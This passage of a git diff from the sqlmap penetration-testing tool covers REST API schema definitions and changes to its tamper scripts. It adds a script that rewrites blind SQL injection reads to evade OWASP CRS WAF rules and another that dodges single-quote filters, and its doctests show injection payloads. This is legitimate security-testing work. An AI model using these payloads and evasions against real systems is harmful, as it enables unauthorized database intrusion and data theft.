oneOf: + - $ref: "#/components/schemas/ScanLogResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + log: + - time: "12:34:56" + level: INFO + message: testing connection to the target URL + invalidRange: + value: + success: false + message: Invalid start or end value, must be digits + + schemas: + ErrorResponse: + type: object + required: [success, message] + properties: + success: + type: boolean + enum: [false] + message: + type: string + additionalProperties: false + + SimpleSuccessResponse: + type: object + required: [success] + properties: + success: + type: boolean + enum: [true] + additionalProperties: false + + VersionResponse: + type: object + required: [success, version, api_version] + properties: + success: + type: boolean + enum: [true] + version: + type: string + description: sqlmap version string without the `sqlmap/` prefix. + example: "1.10.6.51#dev" + api_version: + type: integer + description: >- + MAJOR API-contract version (integer), independent of the sqlmap version. Only the major + is exposed at runtime because only a major bump breaks clients; the full semantic version + is this document's info.version. Clients compare e.g. api_version == 2. + example: 2 + additionalProperties: false + + TaskNewResponse: + type: object + required: [success, taskid] + properties: + success: + type: boolean + enum: [true] + taskid: + type: string + pattern: "^[0-9a-fA-F]{16}$" + example: fad44d6beef72285 + additionalProperties: false + + AdminListResponse: + type: object + required: [success, tasks, tasks_num] + properties: + success: + type: boolean + enum: [true] + tasks: + type: object + description: Object keyed by task ID, with current task status as the value. + additionalProperties: + $ref: "#/components/schemas/ScanStatus" + example: + fad44d6beef72285: running + tasks_num: + type: integer + minimum: 0 + example: 1 + additionalProperties: false + + ScanStatus: + type: string + enum: + - not running + - running + - terminated + + OptionValue: + description: Value accepted by sqlmap options. The exact type depends on the option. + anyOf: + - type: string + nullable: true + - type: boolean + - type: integer + - type: number + - type: array + items: {} + - type: object + additionalProperties: true + + SqlmapOptions: + type: object + description: | + Dynamic object containing sqlmap option names and values. Option names map to + sqlmap's internal option dictionary. Unsupported, read-only, and unknown + options are rejected by endpoints that accept this object. + additionalProperties: + $ref: "#/components/schemas/OptionValue" + example: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + cookie: "id=1" + batch: true + threads: 1 + + OptionListResponse: + type: object + required: [success, options] + properties: + success: + type: boolean + enum: [true] + options: + $ref: "#/components/schemas/SqlmapOptions" + additionalProperties: false + + OptionGetRequest: + type: array + description: List of option names to return. Empty or missing input returns an empty options object. + items: + type: string + minLength: 1 + example: + - url + - cookie + + OptionGetResponse: + type: object + required: [success, options] + properties: + success: + type: boolean + enum: [true] + options: + $ref: "#/components/schemas/SqlmapOptions" + additionalProperties: false + + ScanStartResponse: + type: object + required: [success, engineid] + properties: + success: + type: boolean + enum: [true] + engineid: + type: integer + description: Process ID of the spawned sqlmap engine. + example: 19720 + additionalProperties: false + + ScanStatusResponse: + type: object + required: [success, status, returncode] + properties: + success: + type: boolean + enum: [true] + status: + $ref: "#/components/schemas/ScanStatus" + returncode: + type: integer + nullable: true + description: Process return code, or null when no process is running or the process has not exited. + example: 0 + additionalProperties: false + + ScanDataItem: + type: object + required: [status, type, type_name, value] + properties: + status: + type: integer + description: Numeric content status (0 = in progress, 1 = complete). + example: 1 + type: + type: integer + description: Numeric content type stored by sqlmap. + example: 2 + type_name: + type: string + nullable: true + description: >- + Human-readable name of the content type (e.g. "DBMS_FINGERPRINT", "CURRENT_USER", + "DBS", "TECHNIQUES", "DUMP_TABLE"). null for any unmapped type. + example: DBMS_FINGERPRINT + value: + anyOf: + - type: string + nullable: true + - type: boolean + - type: integer + - type: number + - type: array + items: {} + - type: object + additionalProperties: true + description: >- + JSON-decoded scan output value; its shape depends on the content type. Internal + plumbing is stripped: TECHNIQUES is a list of injection points whose "data" is a list of + techniques each named via a "technique" field (matchRatio/trueCode/falseCode/ + templatePayload/where/conf are not exposed); DUMP_TABLE is + {db, table, count, columns: {column: [values]}} (the internal __infos__ wrapper and + per-column length are not exposed). + additionalProperties: true + + ScanDataResponse: + type: object + required: [success, data, error] + properties: + success: + type: boolean + enum: [true] + data: + type: array + items: + $ref: "#/components/schemas/ScanDataItem" + error: + type: array + items: + type: string + additionalProperties: false + + LogEntry: + type: object + required: [time, level, message] + properties: + time: + type: string + description: Server-local time in HH:MM:SS format. + pattern: "^[0-2][0-9]:[0-5][0-9]:[0-5][0-9]$" + example: "12:34:56" + level: + type: string + description: Python logging level name. + example: INFO + message: + type: string + example: testing connection to the target URL + additionalProperties: false + + ScanLogResponse: + type: object + required: [success, log] + properties: + success: + type: boolean + enum: [true] + log: + type: array + items: + $ref: "#/components/schemas/LogEntry" + additionalProperties: false + + DownloadResponse: + type: object + required: [success, file] + properties: + success: + type: boolean + enum: [true] + file: + type: string + format: byte + description: Base64-encoded file content. + example: SGVsbG8K + additionalProperties: false diff --git a/tamper/0eunion.py b/tamper/0eunion.py index 84587ee4d4f..5a52c92fa06 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances of <int> UNION with <int>e0UNION + Replaces an integer followed by UNION with an integer followed by e0UNION Requirement: * MySQL diff --git a/tamper/__init__.py b/tamper/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 67b38d31ce2..9562002a131 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) + Replaces single quotes (') with their UTF-8 full-width equivalents (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index c9334100e91..0cbafe30cd6 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) + Replaces single quotes (') with an illegal double Unicode encoding (e.g. ' -> %00%27) >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 7c565859724..92a5fb3ef5c 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Appends (Access) NULL byte character (%00) at the end of payload + Appends an (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access diff --git a/tamper/base64encode.py b/tamper/base64encode.py index d813876d120..b5de4e74970 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -15,7 +15,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Base64-encodes all characters in a given payload + Encodes the entire payload using Base64 >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' diff --git a/tamper/between.py b/tamper/between.py index d101f210e89..5b289cb8a4c 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #' + Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: * Microsoft SQL Server 2005 @@ -41,16 +41,16 @@ def tamper(payload, **kwargs): retVal = payload if payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*(?<![<])>(?!=)\s*([^>]+)\s*\Z", payload) # Note: avoiding compound operators (e.g. >=, <>) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: - retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) + retVal = re.sub(r"\s*(?<![<])>(?!=)\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?<![<>!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) diff --git a/tamper/binary.py b/tamper/binary.py index 24bdcbca145..0259b2911da 100644 --- a/tamper/binary.py +++ b/tamper/binary.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Injects keyword binary where possible + Injects the keyword binary where applicable Requirement: * MySQL diff --git a/tamper/blindbinary.py b/tamper/blindbinary.py new file mode 100644 index 00000000000..41f0d7bd7f4 --- /dev/null +++ b/tamper/blindbinary.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def _balancedEnd(payload, start): + """Index of the ')' matching the '(' at payload[start] (or -1).""" + depth = 0 + idx = start + while idx < len(payload): + if payload[idx] == '(': + depth += 1 + elif payload[idx] == ')': + depth -= 1 + if depth == 0: + return idx + idx += 1 + return -1 + +def _reshape(payload, opener, tail, build): + """Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match).""" + retVal = payload + pos = 0 + while True: + match = re.search(opener, retVal[pos:]) + if not match: + break + start = pos + match.start() + cursor = pos + match.end() # should sit on the '(' of the query argument + if cursor >= len(retVal) or retVal[cursor] != '(': + pos = pos + match.end() + continue + end = _balancedEnd(retVal, cursor) + if end < 0: + pos = pos + match.end() + continue + query = retVal[cursor:end + 1] # '(<query>)' + rest = re.match(tail, retVal[end + 1:]) + if not rest: + pos = pos + match.end() + continue + replacement = build(query, rest) + retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] + pos = start + len(replacement) + return retVal + +def tamper(payload, **kwargs): + """ + Rewrites blind single-character reads into a firewall-transparent, byte-ordered comparison that + sheds the function names anomaly-scoring WAFs key on: + + * MySQL: ORD(MID((<q>),<p>,1))><n> + -> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn> + * SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...))) + -> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn> + + Requirement: + * MySQL or Microsoft SQL Server + + Notes: + * Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names + ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). + LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while + the single-character, byte-ordered semantics of the bisection are preserved. + * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) + comparison, so extraction stays exact under a case-insensitive default collation. Both use a + native hex literal (0x<nn>), so nothing needs string-escaping. + * The character count is guarded (1 inside the string, 0 past its end), so a position beyond the + end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops + extraction, exactly like the original. A constant 1 would keep returning the last character + forever and never terminate. + + >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') + '1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00' + >>> tamper('1 AND 5141=5141') + '1 AND 5141=5141' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41' + >>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') + '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' + """ + + if not payload: + return payload + + def _mysql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + + def _mssql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + # shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST(<x> AS NVARCHAR(<n>)),CHAR(<m>))' -> '(<x>)': + # CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a + # clean inner query the whole read goes function-free (NULLs then read as end-of-string) + query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query) + return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) + + comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" + retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql) + retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 8804a3a9b08..7bfd30bd5cf 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE + Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in @@ -44,7 +44,7 @@ def process(match): if payload: retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) - retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = re.sub(r"\s*(?<![<>!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) retVal = retVal.replace("%09 ", "%09") return retVal diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index bb0c4ca17fd..5f4639f786d 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,14 +9,14 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ - Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) + Double URL-encodes each character in the payload (ignores already encoded ones) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset diff --git a/tamper/charencode.py b/tamper/charencode.py index f676cab8b29..980406aa12b 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index fd0427f0cfd..3772b0b24dd 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index cec28fb8d48..0bc2624aec5 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.NORMAL +__priority__ = PRIORITY.LOWEST def tamper(payload, **kwargs): """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 18443bb88f4..6361a7563ba 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 6e652778edd..6743ddc0876 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index fa2b3d8a453..a3fbf33b507 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index 8a4362cdd3f..fdfb1a49b79 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os +import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS @@ -35,6 +36,6 @@ def tamper(payload, **kwargs): """ if payload: - payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") + payload = re.sub(r"(?i)(?<!GROUP_)CONCAT\(", "CONCAT_WS(MID(CHAR(0),0,0),", payload) return payload diff --git a/tamper/decentities.py b/tamper/decentities.py index 187e352ae4b..ee938ce5046 100644 --- a/tamper/decentities.py +++ b/tamper/decentities.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass diff --git a/tamper/dollarquote.py b/tamper/dollarquote.py new file mode 100644 index 00000000000..bb268b0362c --- /dev/null +++ b/tamper/dollarquote.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with PostgreSQL dollar-quoted strings (e.g. 'abc' -> $$abc$$) + + Requirement: + * PostgreSQL + + Tested against: + * PostgreSQL 9.x, 10-16 + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: dollar-quoting is quote-free and needs no escaping + * A literal already containing '$$' is left untouched + + >>> tamper("SELECT 'abc' FROM t WHERE x='def'") + 'SELECT $$abc$$ FROM t WHERE x=$$def$$' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", lambda match: "$$%s$$" % match.group(1) if "$$" not in match.group(1) else match.group(0), payload) + + return retVal diff --git a/tamper/dunion.py b/tamper/dunion.py index f4b5cceb2ea..db2cd94375d 100644 --- a/tamper/dunion.py +++ b/tamper/dunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index c86d1d48c35..a4f8fa1c532 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -35,6 +35,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = re.sub(r"\s*(?<![<>!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) return retVal diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py index 67dfdf7492a..c617906a6e8 100644 --- a/tamper/equaltorlike.py +++ b/tamper/equaltorlike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -32,6 +32,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) + retVal = re.sub(r"\s*(?<![<>!=])=(?!=)\s*", " RLIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) return retVal diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index 85531ea6764..0ccbc0cb537 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -20,4 +20,9 @@ def tamper(payload, **kwargs): '1\\\\" AND SLEEP(5)#' """ - return payload.replace("'", "\\'").replace('"', '\\"') + retVal = payload + + if payload: + retVal = payload.replace("'", "\\'").replace('"', '\\"') + + return retVal diff --git a/tamper/greatest.py b/tamper/greatest.py index 091e722d57e..742b090c1b6 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index e43870f5a53..28c56d82c75 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -35,8 +35,8 @@ def tamper(payload, **kwargs): * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html - >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") - "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" + >>> tamper("1' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") + "1'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): @@ -49,7 +49,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 996265384bf..f35709c12db 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -39,7 +39,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): + for match in re.finditer(r"(?i)\b0x([0-9a-f]+)\b", retVal): if len(match.group(1)) > 2: result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) else: diff --git a/tamper/hexentities.py b/tamper/hexentities.py index e60ed8df9de..b8f68131448 100644 --- a/tamper/hexentities.py +++ b/tamper/hexentities.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 0fcdef0c64f..04810959a50 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass diff --git a/tamper/if2case.py b/tamper/if2case.py index 9e82459fa8b..f3c01ddb1c4 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 